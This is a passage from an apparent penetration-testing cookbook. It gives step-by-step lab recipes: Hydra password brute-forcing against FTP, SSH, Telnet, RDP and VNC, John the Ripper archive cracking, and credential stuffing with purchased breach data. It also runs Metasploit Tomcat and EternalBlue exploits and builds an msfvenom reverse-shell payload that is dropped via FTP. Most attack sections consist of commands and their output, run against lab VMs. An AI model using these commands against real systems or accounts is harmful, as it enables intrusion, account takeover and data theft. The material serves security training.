20. You may now exit and close the terminal window.

How it works...

Evilginx can mimic a website to spoof a user into believing that they are logging into the authentic
site. With a little work, a registered pseudo domain, and an obtained certificate, a user would
not recognize (without inspecting the URL) that they are not on the real site. As the user logs
in, Evilginx captures the username and password, but more importantly, the token information
for an authentication cookie that will allow you access to this user’s account. Evilginx provides

redirects so the user would actually see all of the GitHub information even after logging in.

See also...

Evilginx also has a commercial version called Evilginx Pro, which is more advanced. You can

review it here: https://evilginx.com/.

Cracking FTP/Telnet/SSH passwords

In this recipe, we will demonstrate how you can obtain credentials using common protocols by

systematically testing login credentials against those protocols.

Getting ready...

We need the following to complete this recipe:

e  AKaliLinux VM, up and operational

e A Metasploitable Ubuntu VM, up and operational

How to do it...
1. InKali, open a terminal window.

2. To speed up the exercises, we will create our own lists of users using the following:

cd

nano users.txt
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Add the following users:

admin
root
bee

vagrant

han_solo

leia_organa
c_three_pio
boba_fett
kylo_ren

ldapadmin

Save and exit nano.

Now;, let’s create our own password list.

nano passwords.txt

Add the following passwords:

admin

money
monkey123
vader

help _me_obiwan
vagrant
the_force
ldap123

bug

protecel

monkey
passl234

Save and exit nano.
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Cracking FTP passwords

1

2.

3.

From a Kali terminal window, launch hydra using your custom word lists and substitute

the IP address of your Ubuntu machine in the code shown here:

cd
hydra -L users.txt -P passwords.txt ftp://192.168.92.4

[:—[ )-[~/crack]

dra -L users.txt -P passwords.txt ftp://192.168.92.4
Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in militar
binding, these **x ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-11-04 17:15:46
[DATA] max 16 tasks per 1 server, overall 16 tasks, 120 login tries (1:10/p:12), ~8 t
[DATA] attacking ftp://192.168.92.4:21/

[21][ftp] host: 192.168.92.4 login: vagrant password: vagrant

[21][ftp] host: 192.168.92.4 login: leia_organa password: help_me_obiwan

1 of 1 target successfully completed, 2 valid passwords found

Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-11-04 17:15:49

[:7fl )-[~/crack]

Figure 9.31 - Hydra FTP
As you can see in Figure 9.31, we were able to find usernames and passwords.

You can use hydra with wordlists as well, as shown here:

hydra -L users.txt -P /usr/share/wordlists/rockyou.txt

ftp://192.168.92.4

If any passwords in the rockyou file matched any of the usersin the users file, they would
be displayed as well.

Cracking LDAP passwords

1

We do not have a suitable target for LDAP in our lab, but I wanted to show you the com-
mand, so you get a feel for the options. If you have access to an environment where you

could test 1dap, feel free to test against that environment.

From a Kali terminal window, enter the following:

cd

hydra -L users.txt -P passwords.txt ldap2://<IP ADDRESS>

This would launch the attack against LDAP using your word list and target IP address.



380 Breaking Barriers: the Secrets of Password Cracking

Cracking Telnet passwords

1. Wedo not have a suitable target for Telnet in our lab, but I wanted to show you the com-
mand, so you get a feel for the options. If you have access to an environment where you
could test telnet, use that environment. I am targeting one of my internal devices that

supports telnet.

I created a file with my username and password in it for demonstration purposes, called
special.txt.

2. From a Kali terminal window, enter the following:

cd

hydra -L special.txt -P special.txt telnet://<IP ADDRESS>

[j—i )-[~/crack]

dra -L users.txt -P passwords.txt ssh://192.168.92.4
Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in militar
y or secret service organizations, or for illegal purposes (this is non-binding, thes
e *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-11-04 17:17:37
[WARNING] Many SSH configurations 1limit the number of parallel tasks, it is recommend
ed to reduce the tasks: use -t 4

[DATA] max 16 tasks per 1 server, overall 16 tasks, 120 login tries (l:10/p:12), ~8 t
ries per task

[DATA] attacking ssh://192.168.92.4:22/

[22][ssh] host: 192.168.92.4 login: vagrant password: vagrant

[22][ssh] host: 192.168.92.4 1login: leia_organa password: help_me_obiwan

1 of 1 target successfully completed, 2 valid passwords found

Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-11-04 17:17:58

[:—fl )-[~/crack]

Figure 9.32 - Hydra telnet
3. The output will show you a hit on the username and password.
Cracking SSH passwords

1. From aKali terminal window, enter the following:

cd

hydra -L users.txt -P passwords.txt ssh://192.168.92.4
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[j4 )-[~/crack]

1iydra -L users.txt -P passwords.txt ssh://192.168.92.4
Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in militar
y or secret service organizations, or for illegal purposes (this is non-binding, thes
e ** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-11-04 17:17:37
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommend
ed to reduce the tasks: use -t &

[DATA] max 16 tasks per 1 server, overall 16 tasks, 120 login tries (1l:10/p:12), ~8 t
ries per task

[DATA] attacking ssh://192.168.92.4:22/

[22][ssh] host: 192.168.92.4 login: vagrant password: vagrant

[22][ssh] host: 192.168.92.4 login: leia_organa password: help_me_obiwan

1 of 1 target successfully completed, 2 valid passwords found

Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-11-04 17:17:58

[jw )-[~/crack]

Figure 9.33 - Hydra SSH

As you can see, our attack has successfully uncovered the credentials.

How it works...

Hydra is an extremely robust and efficient tool for cracking accounts. In this case, we shortcut

the operation by using a custom word list.

See also...

More information on Hydra can be found athttps://www.kali.org/tools/hydra/and https://
github.com/vanhauser-thc/thc-hydra.

Cracking RDP passwords

In this recipe, you will examine the common mistakes that leave Remote Desktop Protocol (RDP)
services susceptible to password attacks. By using a user and password file, we will iterate through
the combinations in the hope of finding a match. This is a common method attackers use to gain

unauthorized control of remote desktops.

Getting ready...

We need the following to complete this recipe:

e AKaliLinux VM, up and operational

e A Metasploitable Windows VM, up and operational


https://www.kali.org/tools/hydra/
https://github.com/vanhauser-thc/thc-hydra
https://github.com/vanhauser-thc/thc-hydra
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How to do it...
1.  We will be using the username and password list from the previous recipe.
2. Login to your Windows VM.

3. Open Control Panel | Administrative Tools | Services and ensure that Remote Desktop
is running. If itis not, start the service.

£} Services (Local)

Select an item to view its description. _Mame =+ Description | Status | StartupType | logonas |
£ Network Location Aware... Colectsan... Started Automatic Netwark 5.,
f.Network Store Interface... This servic... Started Automatic Local Service
£ OpenS5H Server Started Automatic \sshd_se...
“.Performance Counter DL... Enablesre... Manual Local Service
G Performance Logs & Alerts  Performan... Manual Local Service
5 Plug and Play Enables ac... Started Automatic Local System
5 PnP-X IP Bus Enumerator  The PnP-X .., Disabled Local System
£, Portable Device Enumer... Enforcesg... Manual Local System
5. Power Manages p... Started Automatic Local System
£ Print Spooler Loads flles ... Started Automatic Local System
£ Problem Reports and Sol... This servic... Manual Local System
G+ Protected Storage Provides pr... Manual Local System
i Remote Access Auto Co... Createsa ... Manual Local System
‘. Remote Access Connecti... Managesdi... Manual Local System
“.Remote Desktop Config... RemoteDe... Started Manual Local System
f:Remote Desktop Services  Allows user... Started Manual Network 5...
‘. Remote Desktop Service... Allows the ...  Started Manual Local System

- Remote Procedure Call {{.. The RPCSS...  Started Automatic Network S...
G Remote Procedure Call (... InWindow... Manual Network S...
G;Remote Registry Enablesre... Started Automatic Local Service
5 Resultant Set of Palicy P... Provides a ... Manual Local System
£ Routing and Remote Acc... Offers rout... Disabled Local System

Figure 9.34 - Remote Desktop enabled

4. Add auser to the RDP group: Control Panel | Computer Management | Local Users and
Groups | Groups | Remote Desktop Users.

= Computer Management

File Action View Help

e8| Fmlc=1H=
;é' Computer Management (Local) Mame

=} System Tools P administrators
@ Task Scheduler

| Description |

Administrators have complete and u...

@ Event Viewer
[#2| Shared Folders
= 4 Local Users and Groups
| Users
g
@E‘:} Performance
=y Device Manager
Bl &5 Storage
=¥ Disk Management
::g-, Services and Applications

M Backup Operators

e Certificate Service DCO...
ﬁ'_, Cryptographic Operators
M pistributed COM Users
PlEvent Log Readers

P Guests

M115_1USRS

Penetwork Configuration ...
_#'_, Performance Log Users
P Performance Monitor ...
ﬁ'_, Power Users

% print Operators

JE Remote Desktop Users
P Replicator

M Users

% WinRMRemoteWMIUser. ..

Backup Operators can averride secu...

Members of this group are allowed t...

Members are authorized to perform ...

Members are allowed to launch, acti...

Members of this group can read eve. ..
Guests have the same access as me..,
Built-in group used by Internet Infor...
Members in this group can have som...
Members of this group may schedule...

Members of this group can access p...
Power Users are induded for badow...

Members can administer domain prin...

Members in this group are granted t...

Supports file replication in a domain

Users are prevented from making ac...
Members of this group can access W...

Figure 9.35 - Remote Desktop Users group
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5. Select Add.

Remote Desktop Users Properties 211
General |
% Remote Desktop Users
Description: Members in this group are granted the right to logon
remotehy
Members:
Rlgreedo
Changes to a user's group membership
Add... | Femove | are not effective until the neat time the
user logs on.

ok | cancel | s Help

Figure 9.36 - Add user

6. Type in vagrant, then select OK to close the Select Users dialog box. Then click Apply
and OK.

Select Users

Select this object type:
IUsers or Built4in security principals Object Types...

From this location:
|VAGF{ANT-ZDBBF{2 Locations...

Enter the object names to select (examples):

| Check Names

e

Advanced. .. | QK I Cancel |

Figure 9.37 - Add vagrant

7. Open a terminal window in Kali Linux and enter the following, substituting the appro-
priate IP address of the Windows VM:

cd

hydra -L users.txt -P passwords.txt rdp://192.168.92.5
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You will see that we were able to identify a valid login for RDP.

kali@kali: ~fcrack

Session Actions Edit View Help

[j4_ )-[~fcrack]

wydra -L users.txt -P passwords.txt rdp://192.168.92.5

Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use i
y or secret service organizations, or for illegal purposes (this is non-bind
e ** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-11-04 1
[WARNING] rdp servers often don't like many connections, use -t 1 or -t 4 td
he number of parallel connections and -W 1 or -W 3 to wait between connectid
w the server to recover

[INFO] Reduced number of tasks to 4 (rdp does not like many parallel connect]
[WARNING] the rdp module is experimental. Please test, report - and if possi
[DATA] max & tasks per 1 server, overall &4 tasks, 128 login tries (1:10/p:12
ies per task

[DATA] attacking rdp://192.168.92.5:3389/

[ERROR] freerdp: The connection failed to establish.

[ERROR] freerdp: The connection failed to establish.

[ERROR] freerdp: The connection failed to establish.

[ERROR] freerdp: The connection failed to establish.

[ERROR] freerdp: The connection failed to establish.

[STATUS] 11.00 tries/min, 11 tries in 00:01h, 109 to do in ©0@:10h, 4 active
[ERROR] freerdp: The connection failed to establish.

[ERROR] freerdp: The connection failed to establish.

[ERROR] freerdp: The connection failed to establish.

[ERROR] freerdp: The connection failed to establish.

[ERROR] freerdp: The connection failed to establish.

[ERROR] freerdp: The connection failed to establish.

[3389][rdp] host: 192.168.92.5 login: vagrant password: vagrant

[ERROR] freerdp: The connection failed to establish.

[STATUS] 36.50 tries/min, 73 tries in @00:02h, 47 to do in @0:02h, 4 active

Figure 9.38 - Found vagrant

8. You may now close the terminal window and the Windows VM.

How it works...

After ensuring that RDP is enabled and a user is added to the remote access group, we launch

Hydra to attack RDP with a username and password list.

See also...

More information on Hydra can be found athttps://www.kali.org/tools/hydra/and https://
github.com/vanhauser-thc/thc-hydra.


https://www.kali.org/tools/hydra/
https://github.com/vanhauser-thc/thc-hydra
https://github.com/vanhauser-thc/thc-hydra
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Cracking VNC passwords

In this recipe, we will explore how Virtual Network Computing (VNC) services are susceptible

to password attacks. You'll use a dictionary-based attack, underscoring how attackers gain un-

authorized control of VNC.

Getting ready...

You need the following to complete this recipe:

AKali Linux VM, up and operational

How to do it...

1.

We will be using the username and password list from the previous recipe. Our target ma-

chines donothave VNC on them, so we will run this against our own Kali machine as a test.

Let’s install VNC. From a terminal window enter the following:

cd
sudo apt update

sudo apt install tightvncserver

Start the VNC server using the following:
Then enter a password (pass1234).

Reenter the password (pass1234).

Enter n when asked for a view-only password.

If VNC was previously installed and started it will not ask for the password. To set a new

password enter the following:
Enter a password (pass1234).
Reenter a password (pass1234).

Enter n when asked for a view-only password.

vncserver -kill :1

vncserver -kill :2

vncserver
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5. Let’suse Hydra again to crack our password on VNC. Substitute your Kali Linux IP address

into the following:

ra -P passwords.txt -s 5901 192.168.92.3

6. You will see Hydra was able to discover our password for VNC.

kali@kali: ~fcrack

Session Actions Edit View Help

[j4 )-[~/crack]

lydra -P passwords.txt -s 5901 192.168.92.3 vnc
Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in militar
y or secret service organizations, or for illegal purposes (this is non-binding, thes
e **x ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-11-04 17:38:32
[WARNING] you should set the number of parallel task to 4 for vnc services.

[WARNING] Restorefile (you have 1@ seconds to abort... (use option -I to skip waiting
)) from a previous session found, to prevent overwriting, ./hydra.restore

[DATA] max 12 tasks per 1 server, overall 12 tasks, 12 login tries (1:1/p:12), ~1 try
per task

[DATA] attacking vnc://192.168.92.3:5901/

[5901][vnc] host: 192.168.92.3 password: passi234

1 of 1 target successfully completed, 1 valid password found

Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-11-04 17:38:43

Figure 9.39 - VNC password found

7. Youmay now close your terminal window.

How it works...

Upon installing VNC, we could launch a password attack against the VNC server. For the example

here, VNC only used a single-factor authentication of just the password.

See also...

More information on Hydra can be found athttps://www.kali.org/tools/hydra/and https://
github.com/vanhauser-thc/thc-hydra.

Cracking ZIP/RAR files

In this recipe, you will explore how to recover passwords protecting archived files such as RAR or

ZIP. You'll use both brute-force and dictionary methods to crack these archives.


https://www.kali.org/tools/hydra/
https://github.com/vanhauser-thc/thc-hydra
https://github.com/vanhauser-thc/thc-hydra
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Getting ready...

You need the following to complete this recipe:

A Kali Linux VM, up and operational

How to do it...

Open a terminal window in Kali.

Zip files

1

2.

3.

Create a text file to encrypt and zip it with a password and delete the original message

using the following:

cd

echo "this is a secret zip file" > secret_z.txt

zip --password lsdg54 secret.zip secret_z.txt

rm secret_z.txt

Now we have to extract the hash for the file so we have something we can brute-force.

Use the following:
zip2john secret.zip > secret.hash

{
E Zip2je secret.zip secret.hash
ver 1.0 efh 5455 efh 7875 secret.zip/secret_z.txt PKZIP Encr: 2b chk, TS_chk, cmplen=
44, decmplen=32, crc=2EF43CDD ts=8CFD cs=8cfd type=0

)-[~]

Figure 9.40 - zip2john

Tip

A ZIP files use relatively weak encryption; the shortcut is to customize the

attack accordingly.

Launch the brute force as shown here:

john --incremental=LowerNum --max-length=6 secret.hash
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Tip
\ ! / . . . .
—@— incremental has several modes of operation. In this case, we are telling it
4 \
g to only use lowercase letters and numbers. We further tell it that the max
password length is 6 to help with the attack.
4. Asyou can see, we discovered our password.
’_—‘._ - ["']
john —-1in¢ nental=L lum --max-length=6 secret.hash
Using default 1nput encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
1 (secret.zip/ et_ X
1g 0:00:01:10 DONE (2025-11-04 17:44)
.. Lsmzxg
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
N I
Figure 9.41 - John ZIP
5. Let’s testit. Enter the following:

unzip secret.zip

Now enter the password you discovered and you will see the message.

cat secret_z.txt

( )~ [~]
’j john -—- secret.hash
secret.zip/secret_z.txt:lsdg54:secret_z.txt:secret.zip::secret.zip

1 password hash cracked, ® left

( )-[~]
L inzip secret.zip
Archive: secret.zip
[secret.zip] secret_z.txt password:
extracting: secret_z.txt

( )-[~]
L cat secret_z.txt
“this is a secret zip file”

Figure 9.42 - zip extract
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RAR files

1

6.

Start by installing RAR:

cd

sudo apt install rar

Create a text file to encrypt and rar it with a password, and delete the original message

using the following:

cd

echo "this is a secret rar file" > secret_r.txt

rar a -pmonkey passprotected.rar secret_r.txt

rm secret_r.txt

| T 1
S

RAR, by default, uses a stronger encryption algorithm than ZIP files.

Now extract the hash:

rar2john passprotected.rar > rar.hash

Now run john using the wordlist we created earlier, in Cracking FTP/Telnet/SSH passwords.

~/passwords.txt rar.hash

As you can see, we have discovered the password.

Session Actions Edit View Help

-[~]

)-[~]
~$ 3 -w ~/passwords.txt rar.hash
Using default input encoding: UTF-8
Loaded 1 password hash (RARS [PBKDF2-SHA256 256/256 AVX2 8x])
Cost 1 (iteration count) is 32768 for all loaded hashes
Will run 2 OpenMP threads
Proceeding with wordlist:/usr/share/john/password.lst
Press 'q" or Ctrl-C to abort, almost any other key for status
( )
: 100 DONE (2025-11-@4 17:51) 4.000g/s 512.@p/s 512.0c/s 512.0C/s helpme.. john
the "--show" option to display all of the cracked passwords reliably
Session completed.

)-[~]

Figure 9.43 - John RAR

Now you can test it by extracting the file as we did previously.
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How it works...

In both examples, we had to extract the hash file from the file itself, to run john against. In the
case of the ZIP file, we were able to use a brute-force attack within a reasonable amount of time.
In the case of RAR files, we used a wordlist, as a brute-force attack would have taken a significantly

long amount of time.

Stuffing credentials

In this recipe, you will uncover how attackers recycle stolen credentials from one breach to com-
promise multiple accounts. This is more of a methodology than a technical recipe, in which we
will discuss how it works. You would apply this recipe in building username and password lists

in other recipes in this book.

Getting ready...

You need the following to complete this recipe:

e AKaliLinux VM, up and operational

How to do it...

1. Credential stuffing will typically rely on a breach of one site. In some ways, we have been
doing this as we discover usernames and passwords, and we add them to our lists that

we use for targeting services.

2. Credentials can be obtained in a few different ways.

e Youbreached a service and were able to obtain its username and password files
e You purchased or obtained the credentials from the dark web

e Awordlist was built from breached passwords (many wordlists are built like this,

but they don’t contain the usernames)

3. Often, this will require access to the dark web through Tor or Tor Browser.

4. Onceyou have obtained your lists of usernames and passwords, these will be formatted
in a combined manner. The file will be formatted as username: password.

5. Youwould then take that file and use it as the basis of an attack against common services

such as Facebook, Google, LinkedIn, Microsoft, X, and so on.
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6. If you were to use Hydra, you would use the -C option, pointing to the combined file, as

shown here:

hydra -C combined_file.txt <SERVICE>

7. Take this skillset and apply it to the prior recipes.

How it works...

Credential stuffing does not rely on guessing passwords. It’s designed to take valid usernames
and passwords from one system and try them on others. This relies on the fact that users often
reuse passwords. Further, more and more services rely on email addresses for usernames, so it’s

easy to gain at least half of the login credentials.

See also...
A couple of interesting articles regarding credential stuffing can be read at https://owasp.org/
www-community/attacks/Credential_stuffingandhttps://www.cloudflare.com/learning/

bots/what-is-credential-stuffing/.

Get This Book’s PDF Version and
Exclusive Extras E
| ™

Scan the QR code (or go to packtpub.com/unlock). Search for this

book by name, confirm the edition, and then follow the steps on

the page.

Note: Keep your invoice handy. Purchases made directly from Packt

don’t require one.
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https://www.cloudflare.com/learning/bots/what-is-credential-stuffing/
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Climbing the Ladder: Mastering
Privilege Escalation

In this chapter, you will learn about a critical phase in penetration testing that focuses on tran-
sitioning from a compromised low-privilege account to full administrative or root-level control
over a target system. This chapter provides a hands-on exploration of the techniques and vul-
nerabilities attackers exploit to elevate privileges in both Windows and Linux environments.
Through a series of practical recipes, you’ll learn how to recognize exploitable misconfigurations,
leverage vulnerable services and applications, and chain together multiple exploits to break

through privilege boundaries.

The chapter begins by examining common privilege escalation vectors in Windows, such as appli-
cation flaws and weak service configurations, before moving on to multi-stage chaining attacks
thatreflect real-world red team scenarios. We then turn to Linux-based systems, demonstrating
both direct root-level escalation and advanced chaining techniques that build on initial footholds.
Whether you're exploiting a vulnerable setuid binary, bypassing UAC in Windows, or combining
kernel exploits with enumeration tools in Linux, this chapter equips you with the mindset and

methods to systematically climb the escalation ladder.
The following recipes will be covered in this chapter:

e  Exploiting applications in Windows to gain elevated privileges
e  Exploiting services in Windows to gain elevated privileges
e  Chaining exploits in Windows to gain elevated privileges

e  Exploiting privilege escalation in Linux — non-root
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e  Exploiting chained privilege root escalation in Linux

e  Exploiting chained privilege identification and escalation

Technical requirements

We will be using the Kali Linux, Ubuntu, and Windows Metasploitable3 VMs.

Exploiting applications in Windows to gain elevated
privileges

In this recipe, you will learn how vulnerabilities in Windows applications, especially those running
with elevated privileges, can be exploited to escalate access from a standard user to an adminis-

trative context. This recipe demonstrates how seemingly benign software can serve as a gateway

to system-level access when exploited correctly.

Getting ready

We need the following to complete this recipe:

e AKaliLinux VM thatis up and operational

e AWindows Metasploitable VM that is up and operational

How to do it...
1.  Open aterminal window.
2. Start Metasploit by entering sudo msfdb run.

3.  We will attack Apache Tomcat on the Windows VM via an insecure username and pass-

word. Use the following:

exploit/multi/http/tomcat_mgr_upload

RHOST 192.168.92.5 (IP Address of Windows VM)
RPORT 8282

HTTPUSERNAME sploit

HTTPPASSWORD sploit

TARGET 1

\ Tip

\ 7/

/@\ Some exploits have specific targets that can be engaged. To review the avail-

able targets, you can enter show targets with the exploitloaded.
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PAYLOAD windows/meterpreter/reverse_tcp

LHOST 192.168.92.3 (Kali IP)
LPORT 4444

4. You will see that the attack was successful and opened a new Meterpreter session.

msf > use exploit/multi/http/tomcat_mgr_upload
No payload configured, defaulting to j meterpreter/reverse_tcp
msf exploit( ) > set RHOST 192.168.92.5
168.92.5
msf exploit( ) > set RPORT 8282
RPORT = 82
msf explc ( > 5 HTTPUSERNAME sploit
HTTPUSERNAME = sploit
f exploit( > s HTTPPASSWORD sploit
WORD = sploit
msf exploit( > s TARGET 1
TARGET = 1
msf exploit( > PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD = windows/meterpreter/reverse_tcp
msf exploit( ) > LHOST 192.168.92.3
LHOST = 192.168.92.3
LPORT 4444

Jusr/share/metasploit-framework
nested repeat operator '+' and

Started reverse TCP handler on 192.168.
Retrieving session ID and CSRF token.
Uploading and deploying b2p8TMzMmIEcCWcBBcWclCz!
Executing b2p8TMzMmIEcCWcB8cVcl
Sending stage (188998 bytes) to 1
Undeploying b2p8TMzMmIEcCWcB8cVcl
Undeployed at /manager/html/undepl
Meterpreter session 1 opened (192.168. Thhh4G 3 ) 2025-11-04 177

meterpreter > I

Figure 10.1 - Apache Tomcat exploit success

5. Inthe Meterpreter session, enter the following:

You will see that we have obtained elevated privileges by exploiting Apache Tomcat.

meterpreter > getuid

Server username: NT AUTHORIT
meterpreter > |

Figure 10.2 - Apache Tomcat system achieved

6. To exit, type quit -y.
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How it works...

In this recipe, we were able to exploit a known vulnerability in Apache Tomcat. Since the appli-
cation is installed and operating with elevated privileges, we were able to use it to gain are own

elevated privileges.

See also...
For additional information on Windows application privilege escalation techniques, please review

the following resources:

. https://delinea.com/blog/windows-privilege-escalation

e https://outpost24.com/blog/3-ways-to-escalate-privileges-in-windows/?utm_
source=chatgpt.com

Exploiting services in Windows to gain elevated
privileges

In this recipe, you will learn how to exploit vulnerable Windows services—specifically SMB—to
escalate privileges and gain system-level access. We’ll demonstrate this by targeting the well-
known EternalBlue vulnerability (CVE-2017-0144) against SMBvl on unpatched systems, which
exploits a flaw in the Windows driver to achieve remote code execution. Once triggered, this
vulnerability provides immediate access with system privileges, making it one of the most dev-

astating and widely used service-based escalation techniques.

Getting ready
e AKaliLinux VM thatis up and operational

¢ A Windows Metasploitable VM that is up and operational

How to do it...
1. Open aterminal window.
2. Start Metasploit by entering sudo msfdb run.
3. Wewill attack the Windows SMB process using a well-known exploit called EternalBlue.

Enter the following:

use exploit/windows/smb/ms17_ 010 eternalblue
set RHOST 192.168.92.5 (IP Address of windows VM)

set LHOST 192.168.92.3 (IP address of Kali)
set LPORT 4444



https://delinea.com/blog/windows-privilege-escalation
https://outpost24.com/blog/3-ways-to-escalate-privileges-in-windows/?utm_source=chatgpt.com

https://delinea.com/blog/windows-privilege-escalation
https://outpost24.com/blog/3-ways-to-escalate-privileges-in-windows/?utm_source=chatgpt.com

https://delinea.com/blog/windows-privilege-escalation
https://outpost24.com/blog/3-ways-to-escalate-privileges-in-windows/?utm_source=chatgpt.com
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The following figure shows the output:

msf > use exploit/windows/ ‘ms17_01@_eternalblue
No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp

5

msf exploit( ) > RHOST 192.168.92.5

RHOST = 192.168.92

msf exploit( ) LHOST 192.168.9
LHOST = 1¢ 168.92

msf exploit( ) LPORT 4

LPORT = 4444

msf exploit(

Figure 10.3 - EternalBlue exploit

Metasploit will first test the SMB process for exploitability and then will make multiple
varied attempts to exploit the vulnerability, finally opening a Meterpreter shell.

msf exploit( ) > run
Started reverse TCP handler on 192.168.92.3:4444

192.168.92.5:445 - Using auxiliary/scanner/smb/smb_ms17_@18 as check
[+] 192.168.92.5:445 - Host is likely VULNERABLE to MS17-01@! - Windows Server 2008 R2 Standard 7601
Pack 1 x64 (64-bit)
usr/share/metasploit-framework/vendor/bundle/ruby/3.3.0/gems/recog-3.1.23/1lib/recog/fingerprint/regexp_f]
b:34: warning: nested repeat operator '+' and '?' was replaced with '+' in regular expression

192.168.92.5:445 - Scanned 1 of 1 hosts (100% complete)

192.168.92.5: The target is vulnerable.

192.168.92.5: Connecting to target for exploitation.

192.168.92 Connection established for exploitation.

192.168.92.5: Target 0S selected valid for 0S indicated by SMB reply

192.168.92.5: CORE raw buffer dump (51 bytes)

192.168.92 0 57 69 6e 64 6f 77 73 20 53 65 72 76 65 72 20 : Windows Server 2

192.168.92 0 0 30 30 38 20 52 32 20 53 74 61 6e 64 61 72 64 20 0@8 R2 Standard

192.168.92.5: 37 36 30 31 20 53 65 72 76 69 63 65 20 50 61 63 7601 Service Pac

192.168.92.5: ! @ 6b 2 1 k 1

192.168.92.5: Target arch selected valid for arch indicated by DCE/RPC reply

192.168.92.5: Trying exploit with 12 Groom Allocations.

192.168.92.5: Sending all but last fragment of exploit packet

192.168.92.5: Starting non-paged pool grooming

192.168.92 Sending SMBv2 buffers

192.168.92.5: Closing SMBv1l connection creating free hole adjacent to SMBv2 buffer.

192.168.92.5: Sending final SMBv2 buffers.

192.168.92 Sending last fragment of exploit packet!

192.168.92 Receiving response from exploit packet

192.168.92.5: ETERNALBLUE overwrite completed successfully (0xC000000D)!

192.168. 3 Sending egg to corrupted connection.

192.168.92.5: Triggering free of corrupted buffer.

Sending stage (230982 bytes) to 192.168.92.5

Meterpreter session 1 opened 3 3 5-11-04 18:04:42 +0530

192.168.92.5:445 -

192.168.92

192.168.92.5:445 -

Figure 10.4 - EternalBlue exploit successful
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4. Test your privilege level with the following and you will get the output as shown in
Figure 10.5:

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

meterpreter > JJ

Figure 10.5 - Exploit system level

5. To exit, type quit -y.

How it works...

In this example, we exploited a system service, SMB, thatinherently carries system-level privileg-
es. The exploit first scanned to see whether it believed the system was vulnerable to this exploit.
Then, it chose, based on information it collected, various methods for exploiting. In Figure 10.4,
you saw the first attempt failed. However, the process continued and provided us with the final

exploited sessions with the escalated privileges.

See also...

More information on EternalBlue can be found in this Microsoft bulletin: https://learn.
microsoft.com/en-us/security-updates/securitybulletins/2017/ms17-010. This post
provides additional details on how the exploit works: https://www.sentinelone.com/blog/

eternalblue-nsa-developed-exploit-just-wont-die/.

Chaining exploits in Windows to gain elevated
privileges

In this recipe, you will discover how attackers chain together multiple lower-privilege or partial
exploits to achieve full privilege escalation on a Windows system. This mirrors real-world attack
methodology, where one exploit may grant file write access, another allows UAC bypass, and a

final step provides system-level access. By practicing exploit chaining, you will build a deeper

understanding of how layered vulnerabilities can be combined to defeat modern security defenses.

Getting ready
e AKaliLinux VM that is up and operational

¢ AWindows Metasploitable VM that is up and operational


https://learn.microsoft.com/en-us/security-updates/securitybulletins/2017/ms17-010
https://learn.microsoft.com/en-us/security-updates/securitybulletins/2017/ms17-010
https://www.sentinelone.com/blog/eternalblue-nsa-developed-exploit-just-wont-die/
https://www.sentinelone.com/blog/eternalblue-nsa-developed-exploit-just-wont-die/
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How to do it...
1. Logged in as vagrant/vagrant to the Windows VM, let’s modify a user profile. Go to
Control Panel | Administrative Tools | Computer Management.
2. Expand Users and select leia_organa.
3. Make the user part of the Remote Desktop Users group. Select Member Of, then Add...
Search for Remote Desktop Users, then click Ok | Apply | OK.

Remate De n. ervices Profile Personal Virtual Desktop | Dialin I
General | Member Of | Profile | En\nronment I Sessions | Femote control

Member of:

Changes to a user's group membership

Add... Remave | are not effective until the nex time the

user logs on.

ok || cancel Apply Hep |

Figure 10.6 - leia_organa Remote Desktop Users group

4. Back on the Users screen, right-click and select Set Password.... In the next dialog box,
click Proceed. Enter help_me_obiwan for the password.
5. Now move to a Kali terminal window. Create an exploit, as follows. This will open a Me-

terpreter session on the remote machine:

cd

msfvenom -p windows/x64/meterpreter/reverse tcp LHOST=192.168.92.3
LPORT=4444 -f exe -0 shell.exe
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6. Move shell.exe to the Windows VM to simulate the dropping of the exploit:

ftp 192.168.92.5

vagrant (For username and password)

bin
put shell.exe

exit

Figure 10.7 shows the output:

— )-[~]

—5$ ftp 192.168.92.5

Connected to 192.168.92.5.

220 Microsoft FTP Service

Name (192.168.92.5:kali): vagrant

331 Password required for vagrant.

Password:

230 User logged in.

Remote system type is Windows_NT.

ftp> bin

200 Type set to I.

ftp> put shell.exe

local: shell.exe remote: shell.exe

229 Entering Extended Passive Mode (|[]49485])

125 Data connection already open; Transfer starting.
100% ‘ *kkhkddkhkdhkkhkhhhbdhdhhddhdhrddhddhhdhddhhbhddhhix
226 Transfer complete.

7680 bytes sent in 00:00 (4.81 MiB/s)

ftp> exit

221 Goodbye.

)-[~]

Figure 10.7 - ftp shell.exe

7. Start Metasploit:

sudo msfdb run

8. Start the Metasploit handler that shell.exe will connect to:

use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.92.3

set LPORT 4444

run
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The following figure shows the output:

msf > use exploit/multi/handler

Using configured payload generic/shell_reverse_tcp
exploit( ) > set PAYLOAD windows/x64/meterpreter/reverse_tcp

PAYLOAD = windows/x64/meterpreter/reverse_tcp
msf exploit(

) > set LHOST 192.168.92.3
LHOST = 192.168.92.3
msf exploit(
LPORT = 444k
msf exploit( ) > run

Started reverse TCP handler on 192.168.92.3:4444

) > set LPORT 4444

Figure 10.8 - MSF start handler

9. Weare going to login as leia_organa (we will do it via remote desktop):

